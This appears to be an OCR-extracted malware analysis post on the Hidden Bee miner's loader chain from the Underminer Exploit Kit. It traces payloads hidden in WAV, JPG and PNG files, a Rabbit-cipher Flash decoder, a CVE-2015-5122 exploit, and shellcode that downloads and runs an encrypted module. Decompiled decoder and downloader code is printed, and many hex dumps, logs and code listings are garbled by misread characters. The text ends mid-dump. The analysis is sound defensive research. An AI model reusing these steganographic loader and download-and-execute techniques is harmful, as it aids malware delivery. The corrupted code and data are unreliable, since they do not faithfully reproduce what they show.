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About a year ago, we described the Hidden Bee miner delivered by the Underminer Exploit
Kit.

Hidden Bee has a complex and multi-layered internal structure that is unusual among
cybercrime toolkits, making it an interesting phenomenon on the threat landscape. That’s
why we’re dedicating a series of posts to exploring particular elements and updates made
during one year of its evolution.

Recently, we decided to revisit this interesting miner, describing_its loader that starts the
infection from a single malicious executable. This post will present an alternative loader that
is deployed when the infection starts from the Underminer Exploit Kit. It is analogous to the
loader we described in the following posts from 2018: [1] and [2].

The dropped payloads: an overview

The first time we spotted Hidden Bee, it started the infection from a flash exploit. It
downloaded and injected two elements with WASM extensions that in reality were
executable modules in a custom format. We described them in detail here.
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[ O

[El 250 200 HTTP 103,35.72,223  frtfamit1p2970aasco s 29dI0hbe, wasm 7768  application/... iexplore; 1538
251 200 HTTP 103.35.72.223  [fgitjwiki.asp?id=8b4c608145b5391bda50029f738aa934 [i] dihost: 1496

252 200 HTTP 103.35.72.223  [git/glfw.wasm 20722  application/... dlhost:1496
The files with WASM extensions, observed a year ago
Those elements were the initial loaders, responsible for initiating the infection chain that at

the end installed the miner.

Nowadays, those elements have changed. If we take a look at the elements dropped by the
same EK today, we will no longer find those WASM extensions. Instead, we encounter
various multimedia files: a WAV (alternatively two WAVs), a JPEG, and a PNG.

% 262 200 HTTP [staticfencrypt.min.js 16 231 textfjavasc... iexplore:35388
% 263 200 HTTP [staticftinyis.min.js 4215 textfjavasc... iexplore:3588
% 254 200 HTTP fisf=9a3509i 111f 1sjumgsvegsse.js 47  textfjavasc... iexplore:3538
@ 285 200 HTTP fviews fvqqidielbhyvpn4sddfnsndgb@. himl 5928 textfjavasc... iexplore:3538
#2658 200 HTTP fpubsfartide. php?id=03e6c47cd44a9b6 2890270 72980eed 54 297  text/himl; c... iexplore:3538
&€#267 200 HTIP fviews/4fmbfegtvdtaf1203vunbhitrrs. him 419 texthiml; c...  iexplore:3588
268 200 HTTP fviewsQif 3dpqdfpé luavrjonsfvas.swf 115972 application/... iexplore:3538
ﬂ 269 200 HTTP fviewsmdrihvktfuceI80hkirdoelld. wav 35852 audiofwav iexplore; 3538
ﬂ 270 200 HTTP fviews/nb3r4idp7 Agol7badhadtcdpg. wav 43 852  audiofwav iexplore; 3538
|Z| 71 200 HTTP fviewsfphgm86n 25 58h6mm5d2 1ehfcbgs. jpg 157 590 imagefjpeg dllhost: 544
i fimages/captcha. png?mod =attachment&u=ed 1b6cd 76c 12 1c2d08a 15b6f82dc 1663 image/png regsvr32:2948

The elements downloaded nowadays: WAV, JPG, PNG

The WAV files are downloaded by iexplore.exe, the browser where the exploit is run. In
contrast, the images are downloaded at later stages of infection. For example, the JPG is
always downloaded from the dllhost.exe process. The PNG is often downloaded from yet
another process.

In some runs, we observed the PNG to be downloaded instead of the JPG:

73 200 HTTP  jviews/bd2236mdrgSseohkplrym2ucdg.swf 102 498  applicationfx-shockwave-flash  iexplore: 1720 [#109]
[8l74 302 HTTP  [fwlink/?Linkid=68928 0 mzfeedssync: 3256 [#110]
$¥75 200 HTTP  /athome/community/rss.xml 0 text/himl msfeedssync: 3256 [#111]
ﬂ 76 HTTP  jviewsfe8m6&8dui3Soqdlghrjodmndvgs.wav audiofwav iexplore: 1720

El77z 200 w7 Jpubs fwiki.php?id =1ad51d 10a 1a0028deeead4dcafcredsb3 1] dihost: 3332 [#113]
@78 200 HTTP ieonlinews.microsoft.com: 443 739 msfeedssync: 3256 [#114]

Jfimages/captcha. png?mod =attachment&u=13103ee8e 1ca2043405652a 3d 3ebcbcd 26 707 imagefpng dllhost:3932

Alternative: PNG being downloaded after WAV
We will start our journey of Hidden Bee analysis by looking at these files. Then, we will move
to see the code responsible for processing them in order to reveal their hidden purpose.

The roadmap of the full described package:
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The downloaded WAV

The WAV file sounds like grey noise, and we suspect that it is meant to hide some binary
belonging to the malware.
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An oscillogram of the WAV file

The data is unreadable, probably encrypted or obfuscated:

&) k6llildpsduBotusldderhl mg.wav

Cffsec(h) 00 01 02 O3 04 05 O& O7 OB 0% OA QOB OC OD OE OF

00000000 FE 43 46 46 D4 BE 00 00 37 41 56 45 &6 oD T4 20 ﬁIFF@I..Wﬁ?Efmt

00000010 10 00 00 OO0 01 OO0 Q1 OO0 80 3E OO0 Q00 €O 7D 00 00 ........ €>x..0 1.,
Q0000020 02 00 10 00 &4 61 74 €1 BO BE 00 00 B6& 5B 87 BT ....data"I..q[%-
00000030 45 89F 03 ®E 3% 13 ThA SE TE 82 S5F 2D 1E Cg8 B2 D4 Ii.nﬁ.zi{,_—.ﬁné
00000040 €9 BE €3 23 BD FA E2 87 C5 AE 63 B3 ED 51 98 FO iZc#~dd3L cziQ.d
00000050 1B 74 7D 7D E6€ 28 DC OD 1D 56 10 50 8E 1F 56 C2 .t}i}é&(U..V.PZ.VE
00000060 3C 5D B4 54 D5 14 03 11 4A& 1F 15 €3 7C 40 8C 07 <] °T8...J..i|@s.
Q0000070 17 TE 46 DD 71 &0 T8 85 AR 3E TF C4 &4 FE 00 26 .{qu‘xm$>.ﬁj§.&
00000080 3E 43 06 94 16 24 2B D9 83 3B 02 21 32 E0 1R 48 >C.7.54U%;.!7#.H

We also found a repeating pattern inside, which looks like an encrypted padding. The size of
the chunk is 8 bytes.

EE 5& .gmJ=.&Ct.d,0liz
Fg 98 ..T.zids"c.g2zids
F9 9B [e.g8zin “c.aziﬁ>.Th
Fa 98 “c.8zids c.2zids
Fa 98 “c.8zids c.2zids
Fa 98 “c.8zids c.2zids

00007AFD 18 T1 oD 44 3D 03F E4 C8 86 OF F5 BE &F
00007B00 13 06 54 TF 74 CE FS 8B SE 63 08 38 TA

00007TB10 [DoEscEil-Ect-aar sy SE 63 08 38 TA

00007B20 S5E €3 08 38 TA CE F3 8B SE 63 08 38 TA
00007B30 GS5E €3 08 38 TA CE FS 8B SE 63 08 38 TA
00007B40 SE €3 08 38 TA CE FS 8B SE 63 08 38 TA

repeating pattern inside the file: 8 bytes long
This time, using the repeating pattern as an XOR key didn’t help in getting a readable result,
so probably some more complex block cipher was used.

HEEEED

The JPG

Below is a sample JPG, downloaded from the URL in the format:
/views/[unique_string].jpg

In contrast to the WAV content, the JPG always looks like a valid image. (Interestingly, all the
JPGs we observed have a consistent theme of manga-styled girls.) However, if we take a
closer look at the image, we can see that some data is appended at the end.
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Transformer | Headers | TextView | SyntaxView ||Image'l.-'iew | HexView | WebView | Auth
Caching | Cookies | Raw | JsON | xmL |

Format: JPEG
156 005 bytes

252w x 352h

1,76 bytes/pu

96 dpi

Baseline
Subsample@4:2:0

AFPPD Data (22 bytes)
[JFIF1.7]

DPI: 96

APP1 Data (BExif, 56 bytes)

MALFORMED: [REEEbyvtes after final
|segment.

Huffman Tables: 4

Let’'s analyze the JPG and try to extract the payload.

First, | opened the image in a hexeditor (i.e. HxD). The size of the full image is 156,005
bytes. The last 118,762 bytes belong to the malware. So, we need remove the first 37,243
bytes (156,005-118,762=37,243) in order to get the payload.

E ipg_payload.bin

Offzec(h) 00 01 02 03 04 05 06 07 08 0% OA OB OC OD OE OF

00000000 C4 97 86 9D OF 2R E4 ES FE BS 89D E6 33 BE DE A0 %}Tt.*&i;atéE»I
00000010 1D 1D E4 03 05 74 20 F3 FD DF 89 DD E8 ED 20 BO ..&..t AVR%YE:L °

00000020 3E 9B 91 6E 9D %96 02 F5 55 E% ES ES ES ES5 ES E5 > 'nt-.gueiiiiii
00000030 9D E9 ES ES ES E5 ES5 ES D4 25 A5 75 E& 61 B3 E0  teiiiiiidsaveazs
00000040 ES5 E5 0D E1 ES E5 ES5 EA ES 85 E9 BD 85 81 6E Do ii.adiddei &~ . nB
00000050 DS ES E5 ES E7 B4 BS B3 0D Al ES5 ES ES 84 26 6 Oiii-pz.-idii.en
00000060 Bl C1 E1 6E A1 C1 E2 B3 6E 91 C1 E3 B2 &35 D2 E7 +han~Aéin Ae nilc

00000070 EA 52 E7 A7 A7 66 1D A4 99 ED 66 1D BF 94 E6 66 eRCSSL.w™if.z3&f
The appended part of the JPG

The payload does not look like a valid code, so it is probably obfuscated. Let’s try the easiest
option first and see if there are any candidates for the XOR key. We can see that the payload

has padding at the end:
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i ipg_paylead.bin

offset(nh) 00 01 02 O3 04 OS5 OF OF OB 0% OL OB OC OD OE OF
0001CFED ES E5 ES ES E5 ES E5 E5 ES E5 E5 ES E5 E5 E5 E5  fiiiffiifidiiiiii

0001CFCO ES ES ES ES Eo ES ES ES ES ES ES ES ES ES ES E5 1111111111111111

0001CFDO ES ES ES ES ES ES ES ES ES ES ES ES ES ES ES E5 1111111111111111

Q0001CFEQ ES ES E5 ES ES ES ES ES ES Eo 1111111111

Let’s try to apply the repeating character (in the given example it is OXE5) as an XOR key.
This is the result (1953032199142ea8c5872107da8f2297):

ﬂ cut.bin

Offszec(h) 00 01 02 03 04 05 O6 OT7 02 09 OA OB OC OD OE OF

00000000 EA CF 01 00 1B 5C 78 03 D6 S5E 3B 45 [PaseD...\x.0~;E
00000010 E0 91 C5 16 18 3A 6C 38 0D 08 C5 55 f##.&:*L..:18..10
00000020 g 73 ET7 10 BO OC 00 00 00 00 00 00 U~te¢xsg.%.......
00000030 00 00 00 00 31 CO 40 90 OF 84 56 05 Xuu.u... 1RE...V.
00000040 00 00 00 OF 00 60 OC 58 60 €4 8B 35 ..&...... CLKdes
00000050 52 51 50 56 E8 44 00 00 00 61 C3 8B O...RQPVED...ake
00000060 44 24 0OC 56 8B 74 24 OC 57 8D 3C 02 T$.<D$.Vet§.Wi<.
00000070 42 83 F&8 41 7C 08 83 F8 5A 7F 03 83 .-.BB.ZA|..%Z...
00000080 OE 46 46 83 F9 41 7C 08 83 F9 SA 7F R .-.FF.GAa|..3Z.
00000030 38 D7 73 04 3B C1 74 D4 SF 2B Cl S5E ..A ;==.;Ac +A~

000000AD C3 55 8B EC 83 EC 4C 8B 45 08 53 56 57 8B 70 0C AtE.EI<E.SVW¢p.
000000BO0 6A 6C 58 33 C9 66 89 45 BE 66 89 45 C8 66 89 45 J1X3Ef%EIf%ECT%E

Repeating the experiment on various payloads, we can see that the result always start from
the keyword !rcx . As we know from analyzing other elements of Hidden Bee, the authors
of this malware decided to use various custom formats named after 64-bit Intel registers. We
also encountered packages starting from !rbx and !rsi at different layers. So, this is the
first element in the chain that uses this convention.

When we load the !'rcx module into IDA, we can confirm that it contains valid code. More
detailed explanation about the !rcx format will be given later on in this article.

The PNG

Let’'s have a look at a sample PNG, download from the “captcha.png” (URL format:
/images/captcha.png?mod=attachment&u=[unique_id] ):
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Transformer Headers TextView Syntaxiiew ImageView HexView

WebView Auth Caching Cookies Raw JSON XML

Format: PNG
26 707 bytes

B2wx 82h

3.97 bytes/pu

56 dpi

Color: RGB+Alpha 8bits/sample

| Autoshrink -|

Although it is a PNG in a valid format, it looks like noise. It probably represents bytes of
some encrypted data. An attempt of converting PNG to raw bytes didn’t give any readable
results. We need to analyze the code in order to discover what it hides.

Code analysis: the initial SWF file

The initial SWF file is embedded on the website and responsible for serving the exploit. If we
look inside it, we will not find anything malicious at first. However, among the binary data we
can find another suspicious WAV as an audio asset:

U5 dtsB90lkung1 4636t dnaZvg. swT

D header
=1 hinaryData
— 1 DefineBinaryData (1: MyAudiofsset)
— | DefineBinaryData (2: com.google_2F_wvar_2F_falders_2I
— | DefineBinaryData (3: com.google_2F_var_2F_folders_ZI
— 1 DefineBinaryData (4: com.goonle_2F _var_2F_folders_2I
— 1 DefineBinaryData (5: com.google_2F _var_2F_folders_2I
— 1 DefineBinaryData (6: com.google_2F _var_2F_folders_2I
— 1 DefineBinaryData (7: com.google_2F _var_2F_folders_2I
— 1 DefineBinaryData (2: com.goonle_2F _var_2F_folders_2I

The"_b"eginning of the file:

L2

00000000 52 4% 44 46 B4 27 00 00 57 41 56 45 66 6D 74 20 EIFF ," WAVELfImt
00000010 10 00 OO0 00O 01 00 01 00 &0 3E OO 0O 00 7D 00 00 > 1
00000020 02 00 10 00 &4 &1 74 61 &0 27 00 00 D4 1A EB D1 data " v} & 0
00000030 Bl 83 8A C1 CB 21 97 1F 5C D1 45 5F 90 75 AB &7 +“ 84 E 1 - v B oI _ u " g
00000040 5C 82 23 7C A9 FE 36 S5E 04 DD 37 D7 75 2B 1D 1B , ¥l @5 6~ 7 oxou+
00000050 88 B4 BA Cl EB 22 73 64 87 BO 1D B8A 48 1A E1 38 " 4hiEm"adi - i H a 8
00000060 AZ 03 D4 27 54 5E F3 CB 46 F&6 04 &6 B& 4F AS 25 e 0'T~aEFGs %0 5

This SWF file also contains a decoder for it:
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79
20
g1
g2
g3
g4
g5
g6
g7
g8
249
a0
el
92
93
94
95
96
a7
498
L
100
101
102
103
104
105
1046
107
10a
103
110

public static function Init({paraml:DisplaylbjectContainer) : wvoid
{
var _loc3_:5tring = null;
var _locd :5tring = null;
var _locS_:int = 07
var _locé :BytelArray
var _loc7_:ByteArray = null;
var _loc2 :* = paraml.loaderInfo.parameters;

mall;

doc_ = paraml;
platform = loc2 ["platform™];
if{platform_== null)
{
platform_ = "";
}
userhgent = unescape(_locd_ ["user™]);
if{ExternalInterface.available)
{
try
{
_loc3 = ExternalInterface.call ("parent.parent.hppltils.getToken™);
_loc4 = ExternalInterface.call ("getSalt");
_locs = Externallnterface.call ("parent.parent.ipplUtils.getippld™);
_loceé_ = setup(_loc3_ + _locd );
_locT_ = new MyBudioRAsset() as Bytelrray;
loader = decode( loc7 , loc6é , locS , onMovieloaded):
return:
}
catch {e:Error)
{
return;
}

1

The function “decode” takes four parameters. The first of them is the byte array containing
the WAV asset: That is the content to be decoded. The second argument is an MD5 (the
“setup” function is an MD5 implementation) made of concatenation of the Appld and the
AppToken: That is probably the encryption key. The third parameter is a salt (probably the
initialization vector of the crypto).

The salt is fetched from the HTML page, where the Flash component is embedded:

[=] FEmiiSngsdqSpbfbe 22 8t4 html E3 |

=1 o Ld R e

U T R

<html>
<body>
<script tvpe="text/javascript">
function getSalc(){
j return "1mQREFFGabdecdnhB";
}
</script>
<div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">
<object clas=sid="glsid:D27CDBEE-AE6D-11cf-96BE-444553540000" type="application/x-ghookwave-flas
<param name="movie" wvalue="/views/dts8%clkungl54te36tdna?vig.swi"></param>-
<param name="allowScriptAccess" value="always"></param>
<embed src="/views/dtsB%lkungl54te36tdna2vBg.swf" allowScriptAccess="always" tyvpe="applica
</object>
«/div>
</body>
</html>
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Alternative case: two WAV files

Sometimes, rather than embedding the WAV containing the Flash exploit, authors use

another model of delivering it. They store the URL to the WAV, and then they retrieve the file.

In the below example, we can see how this model is applied to Hidden Bee. The salt, along
with the WAV URL, are both stored in the Javascript embedded in the HTML.:

1 <html>

Z <body>

3 <3cript type="teXt/javascript">

4 function getSalt(){

5 return "zACDBCcdSTBCEYTIULIZ"™;

& }

T function getiudioResource() {

a8 return "/views/r5Zbimlkl10vwltZ0tcf4akl45c94 _wav";

3 }
10 </facripty
11 <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">
1z <gbject claessid="clsid:DZ7CDBcE-RAEGD-1lcf-56BE8-444553540000" type="application/x-shockwave-
& flagh" id="swf" date="/views/3d3olB8fs844jagi3cegoadtijuid_awi">
13 <param name="movie" walue="/views/sd3ol8fsf44jsglcegoadtiuid. swi"r <, param>
14 <param name="allowScripticcess" wvalue="always"></param>
15 <embed sro="/views/3d3clB8f3d344jsgldcegoadtiuid. awf" sllowScriptliccess="always" type="
& application/x—-shockwave-£flash"></embad>
1lé </objectr
17 </Sdiv>
13 </body>
15 </html>

The Flash file first loads it and then decodes as the next step:

userdgent = unescape(_loc2 ["user"]):

urlloader = new URLLoader():

urlloader .dataFormat = URLLoaderDataFormat.BINARY:
urlloader .addEventListener (Event.COMPLETE,onLoaded) :
if{ExternalInterface.available)

{
try
{
_1loc3 = Externallnterface.call ("parent.parent.hppUtils.getToken™)
_locd4 = Externallnterface.call ("get3alt");
_locs = Externallnterface.call ("getindiocResource™) ;
algo = ExternalInterface.call ("parent.parent.4ppltils.getippId™) ;
cryptoKey = zetup(_ loc3_ + _locd )
if(_locS_.length > 0)
{
urlloader .addEventListener(IOErrorEvent.I0O ERROR,onlLoadError);
urlloader .load(new URLRequest(_locS ) )
1
retarn;
1
catch{e:¥)
{
retarn;
1

Looking at the traffic capture, we can see that in this case, not one, but two WAV files are
downloaded:
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— — T 8 s b e i et A FE et 8 0 o £ o 1k s TR MR UMIN mUEE eI s i

HTTP 38.75.137.9:9088 jviewsvpriadgfb 1fpjFue?ov2p47u3g.himl private. .. ; s C... iexplore:2028
Fi197 200 HTTP 38.75.137.9:9088  jviewssd3ol8fs844jsq3oeqoadtjuid.swf 115062 private... application/... iexplore:2028
ﬂ 198 200 HTTP 38,75.137.9:9088  Jviews/r52b5m1kl0v 1t20tf4akl45c94. wav 35880 private... audiojwav iexplore: 2028
ﬂ 199 200 HTTP 33.75.137.9:9088  jviews /ga0tqpp2ub4bca 710j5u2roaac. way 43852 private... audiofwav iexplore: 2023
IZ| 200 200 HTTP 38.75.137.9:9088 fviews/iev4sr9210s3f638r 218bcheok. jpg 156 005 private... imagefjpeg dihost: 2576

A case when two WAV files were downloaded (and none embedded in the Flash)

The algorithms used to encrypt the content of the first WAV may vary and sometimes the
algorithm is supplied as one of the parameters. After the content is fetched, the data from the
WAV files is decoded using one of the available algorithms:

private =static function onlLoaded (paraml:Event) : wvoid
= i
urlloader .removeEventListener(Event.CCOMPLETE,onLoaded):
urllLoader .addEventlistener (ICErrorEvent.IO ERROR,onLoadError):
var readData:Bytelrray = urlloader .data as Bytelrray;
loader = decode(readData,cryptoKey ,algo,onMovieloaded) ;
- 1

We can see that the expected content is a Flash file that is then loaded:

private static function onMovieLoaded(paraml:Event) : void

{
loader .contentLoaderInfo.removeEventlLiztener (Event.COMPLETE, onMovieloaded) ;
var newClip:MovieClip = MovieClip(paraml.currentTarget.content) ;
doc .addChild (newClip) ;

1

The “decode” function

The function “decode” is imported from the package “com.google”:

94 getlocal 3
95 getlex (name (PackageNamespace(""), "onMovieLoaded™)
98 ka}lproperty Oname {PackageNamespace ("com. google™) , "decoda™) 4

The full decompiled code is available here.

When we look inside, we see that the code is slightly obfuscated:

[ ActionScript source

com.google.decode

[ N+ |

WARHNING: The code decompilation contains §§ instructions. This is usually caused by an obfuscation (See Settings/Automatic deobfuscation) or a nonstandard compiler used (Haxe, etc.).

1 backage com.google

2 {

3 import avm2.intrinsics.memory.lilé;

4 import avm2.intrinsics.memory.li32;

5 import avm?.intrinsics.memory.lif;

[ import avm2.intrinsics.memory.silé;

7 import avm2.intrinsics.memory.sil3a;

-] import avm?.intrinsics.memory.sif;

g import com.google 2F wvar 2F folders 2F z4 2F jk5tsdél3nsthpppmxlkvee5Sm0000gn 2F T 2F 2F cculOwUs_2E lto 2E bec 3R 2210E4FB 2D 444B 2D 45E7_
10 import flash.display.Loader;

11 import flash.system.hpplicaticonDomaing

12 import flash.system.LoaderContext;

13 import flash.utils.Bytelrray;

14

15 public functicn decode (paraml:Bytelrray, paraml:Bytelrray, param3:int, paramd:Function) : Loader
16 {
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Looking at the decompiled code, we see some interesting constants. For example, —
889275714 in hex is OXCAFEBABE. As we found during analysis of other Hidden Bee
elements, this DWORD was used by the same authors before as a magic number identifying
one of the custom formats.

243 if{_locS3_ = -889275714)

244 {

245 _loe53_ = 1i32( locéd_ - 32);

244 if{ loch3_ == 32)

247 {

248 if{_lochs_ != 0}

249 {

250 if{_locS9_ != 1)

251 {

252 _loe53 = int{_locé&d_ - 40);
253 _loc53 = _loc53_ | 4;

254 _loc37_ = 1i32{_loc33_):

255 }

256 elae

257 {

258 _loes = int{_loc5_ - 14);
259 3i32{_loch7_, _locS_ + 4):
260 _loch3 = int(_loc&d_ - 1072):
26l 3132 (_loc53_, loc5_);

262 E5F = _locS_;

263 F ECRYPT keysetup();

264 _loc5 = int{_locd_ + 16);
265 _loc31_ = int(_loc@d_ - 40);
266 _leeBS1_ = locS1_ | 4:

267 _loeB7_ = 1i32{_locSl_):»

268 _loch = int{_loch_ - 1&6);
269 3132 (_1oc57_, locd_ + 12);
270 _loc3l_ = int(_locdd  + 76);
271 3132 (_loc5l_, locS_ + 8);
272 3132 (_1loc5l_, locS_ + 4);
273 3132 (_loc33_, loch );

274 E5F = _loc5_:

275 F_ECEYFT procesas_bytesa():

Internally, there are references to a function from another module:
E_ENCRYPT_process_bytes(). Inside this function, we see calls suggesting that the Rabbit
Cipher has been used:
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10 public function F_ECRYPT proces3_bytes() : wvoid

11 {

12 var locd_:* = 0;

13 var _locT_:* = 07

14 var _locd_:* = 0;

15 var _loch_:* = 07

16 var _locE_:int = 07

17 var _locé _:* = 0;

18 var _loc3_:* = int(E3F);

19 _loc2 = loc3_;

20 _loe3 = int{_loc3_ - 16);

21 _locd = 1i32(_loc2_ + 12):
22 _loe5_ = 1i32(_loc2_ + 8);

23 _locé_ = 1i32(_locd_ + 4);

24 _loc7_ = 1i32(_loci_):;

25 if{uint{_locd ) »>= 14)

26 {

27 _locs_ = int{_loc3_ + 12);
28 _locg = locé  + 127

29 _lock_ = int{_locT_ + &8);
30 do

31 {

3z _loc3_ = int{_loc3d_ - 1&);
33 3132 (_loct_, loc3 );

34 ESF = _loc3_;

35 F RABBIT next state():
36 _loe3_ = int{_loc3_ + 14);

Rabbit uses a 128-bit key (the same length as the MD5 hash that was mentioned before)
and a 64-bit initialization vector. (In different runs, a different encryption algorithm may be
selected.)

After the decoding process is complete, the revealed content is loaded:

B R 1
3329 if{_loch7_ != 0)

3330 {

3331 _loc53 = 1132(_locS7_):

3332 ESF = _loch_ & -16;

3333 var _loclé :ByteArray = new Bytehrray():

3334 CHodule.readBytes (int {_loch7_ + 4}, loch3 , loclé );

3335 ESF = _locS_ & -16;

3336 ESF = _locS_ & -16;

3337 new Loader().contentLoaderInfo.addEventlistener("complete”, paramd) ;
3338 ESF = _locS_ & -16;

3339 var _loc69 :LoaderContext = new LoaderContext (false,ApplicationDomain.currentDomain);
3340 ESF = _locS_ & -16;

3341 _loch9 .applicationDomain = ApplicationDomain.currentDomaing

3342 ESF = _locS_ & -16;

3343 _loce9_.allowCodeImport = true;

3344 ESF = _locS_ & -16;

3345 new Loader() .loadBytes {Jloclﬁ_, _locés );

3346 _loc5_ = int{_loc5_ - 16);

3347 3i32({_1oe57_,_locS_);

3348 ESF = _locS_;

33459 F idalloci):

3350 _locS_ = int{_locS_ + 1l6);

3351 _loc28_ = new Loader():

3352 }

12/36


https://blog.malwarebytes.com/wp-content/uploads/2019/07/load_on_complete.png

The first WAV: a Flash exploit

The decoded WAV contains a package with two elements embedded: a Flash file
(movies.swf) and the configuration file (config.cfg). The decrypted data starts from the magic
DWORD 0xCAFEBABE, which we noticed in the code of the previous SWF.

&) iexplore.exe.dmp

Cffsetc(h) 00 ©01 02 O3 04 05 06 07 O8 0% 04 OB OC OD OE OF Decoded te=xt

07763810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +uvrrrrrrrrrrnns
07763820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +vvvrrrrrrsrsnns
07763B30 00 52 49 46 46 04 8C 00 00 57 41 56 45 66 6D 74 .RIFF.S..WAVEfmt
07763840 20 10 00 00 00 01 00 01 00 20 3E 00 00 00 7D 00  +uuvuusn. €>...1.
07763B50 00 02 00 10 00 &4 61 74 61 EO BB 00 00 33 BC C2  ..... datate..354
07763860 4E 99 31 TA B8 6F 34 F6 A5 F7 A8 AF 10 F3 07 C2 N™lz, o46h="Z.6.A
07763870 46 57 31 4E B3 28 9E FF 14 9F 1F 98 14 1F 8B 08 F-1N2.% .%Z....<.
07763680 00 00 OO0 00 OO0 00 O3 00 72 80 8D 7F SNy ........ r€T.IstH
07763890 3C 00 00 00 02 00 00 00 24 00 00 00 3C 00 00 00 <.uvuvus.. S.iu<as
07763BR0 2D 25 00 00 30 00 00 00 €3 S5 00 00 3C 00 00 00 —<¢..0...i¢..<...
07763BB0 2F 6D 6F 76 69 65 73 2E 73 77 66 00 2F 63 6F 6E /movies.swf./con
07763BCO 66 62 €7 2E 63 66 67 00 43 57 53 18 7F FF 00 00 fig.cfg.CWS.. ..
077638D0 78 9C EC 5D 77 5C 55 47 D7 2F 3E 53 €7 EF B3 4F x&&"w\UGx/>2gd20

The Flash file (movies.swf) contains an embedded exploit. In the analyzed case, the exploit
used is CVE-2015-5122, however, a different exploit may be used on a different machine:

# | flash2. swf
_| header

[ sprites

H frames

|| others

| scripts

= Jcwe_2015_5122 fla

EI |

—» | Button_disabledSkin
—»  Button_downSkin

—»  Button_emphasizedSkin
—» | Button_overSkin

The payload (shellcode) is stored in form of an array (binary version available here:
9aec11ff93b9df14f060f78fbb1b47a2):

1 package

2 1

3 class PayloadWin32

4 {

5

& public static var payload:Vector.<uint> = Vector.<uint>([2420162609,130450447,1620836352,1768,134222080,
7

g

g functicn PayloadWini2 ()
10 {

11 super():

12 1

13 i

14 }

15
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The configuration file (config.cfg) contains the URL to another WAV file.

The payload is padded with NOP (0x90) bytes, and the parameters, including the
configuration, are filled there before the payload runs.

pavlEnd = O;
payllLength = PayloadWin32.payload.length;
indx = 07
while(indx < paylLength - 1)
{
if(PayloadWin32.payvload[indx] == C0xS0502025C
&& PayloadWin32.pavlicad[indx + 1] == 0x20230203C

)
{
pavlEnd = indx;
break;
1

indx++: The fragment of the code
}

if(paylEnd !'= 0)
{
indx = 07
while(indx < paraml.length)
{
S ifwrite parameters at the end of the pavload:
PavloadWin3Z .pavliocad[pavlEnd + indx] = paraml [indx]:;
ind=x++;
1
1

feeding the configuration into the payload

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It
is retrieved by the “PayloadWin32” shellcode (9aec11ff93b9df14f060f78fbb1b47a2),
deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and
decrypting another WAV. The shellcode uses parameters that were filled by the previous
layer. This buffer contains the URL that will be queried and the key that will be used for
decryption of the payload. It loads functions from wininet.dll using their checksums. After the
initialization steps, it queries the supplied URL. The expected result is a buffer with a header
typical for WAV files.
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v2 = alj
v3 = &input_buffer[-*{unsigned __intl6 *}input_buffer];
func_checksums = (int)}&3[*{{unsigned _ intle *}input buffer + 1)}];
buf = &v3[*(unsigned _ intle *)(func_checksums + @x7@) - *({unsigned __intle *}input_buffer + 2)];
zero_buffer(&functions _list, @wxd4Cu);
result = load wininet_functions(v2, (int (__stdcall **)({char *)}&functions_list, func_checksums);
if ( result )
1
copy_16_bytes(buf, &crypt_key); !/ copy the crypto key
result = download_from_url(v2, &functions_list, buf, &module size};
wav_buf = (_BYTE *)}result;
if ( result )
1
if { *({_BYTE *)result == 'R’ £l check the WAV header
&% *( BYTE *}(result + 1} == 'I°
&% *({ BYTE *}(result + 2} == 'F’
&% *( _BYTE *)(result + 3) == 'F’'
8% *( DWORD *}(result + 4) + 8 <= module_size
&& *( BYTE *}(result + 8) == "W’
&& *( _BYTE *)}(result + @xA) == "V’
&& *( BYTE *}(result + @x24) == 'd’
&% *( _BYTE *}(result + @x26) == 't' )
1
msize = *(_DWORD *){result + @x2B8};

As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the

encrypted content. Indeed, blocks

module size = *{({ DWORD *)wav_buf

that are 8 bytes long are decrypted in a loop:

+ Bxh);

if ( wav_buf != (_BYTE *)@xFFFFFFD4 )

if ( !(msize & 7) )
1
chunk_ptr = wav_buf + @x2C;
crypt_init{({int)}&crypt ctx, &
msize = module_size;
V23 = @;
if { module_size )
1
do

crypt_key, 16);

crypt_block((int)}&crypt ctx, chunk ptr, chunk_ptr};

v23 += B;
msize = module _size;
chunk_ptr 4= Bj

while { w23 < module_size };

b
¥

After the decryption is complete, the next module will be revealed. It is interesting to take a
look at the expected header of the payload to learn which format is used for the output

element. This time, the decoded data is supposed to start with the following magic numbers:

0x01, 0x04, ..., 0x10.
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if ( ms
BE *(
E& wan
E& wan
&& wa
&& m5
&& m5
&% I'(v
i
all
if ( allo
1
new_m
copy_
nes
h
I

// start of the payload header

_buf + 8x18)
_buf + 8xD)

L L%Ll::{@,

I

f + Bx2C,

*J{unsigned int

modul

msize, Bx1888, @x48);

_allocated_buffer

// call the decoded payload

i

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted

(9b37c9ec19a53007d450b9b9c8febbe?2):

Address

Hex dump

ASCII

BZEEEEEEA
B2ecaala
B2EEEE2E
B2EEAE2A
B2EEAE48
BZecaasa
B2E6a858
B2668878
BZEEEE28
B2EEEE3E
B2EEEEREA
B2EEAEEEA
BZecaaca
B2eaaa0a
B2E688ER
BZEEEEFEA
B2e68 188
B2EEE11A
B2EEA128
B2EEE12A8
Bzecal4a
BZecB 150

RIFF=2..WAUEfmt
P...E.B.C> .t
B.Fk.datas3. B¢ P
Lt 4.0 k2,

b= T, L d nf
finffa...& HOSOO0
Fa3inff....B.KH~
KECOSEnff..d.9. 1
khodo”Snff. ...,
Y ITESnff. ...,
TE«dif2k T~ katue.,
B kg ac=rac~lar
*. kE " HAe - 2ZAPGLEAU
AEEME_E1 20 M0LEC
Eue. #2 iodFt BA rid
WrEC G ImfidHAgEL
W 10rud=.OCF=30E
c LGS, 8-=pAHce
JriEd & MALT]| (=gusq 0
EoAady| asAU I |EHo
BRT A _n#a b A
[Ictl. f4Skoludd

This is an executable component that is loaded into Internet Explorer. After it decodes the

imports, it starts to look much more familiar:

Address

Hex dump

HSCII

B2A2EEEEA
B2AZEE1A
BZRsaE2a
B2AZAE3a
B2AZa84a
BZAZAE5EA
B2AZAEEEA
B2A2EE A
B2AZEE2A
B2AZEE2EA
BZRSaaREa
B2AZAEER
B2RZaaca
BZRZaE0a
B2AZE0ER

Be, bt $. . k2.,
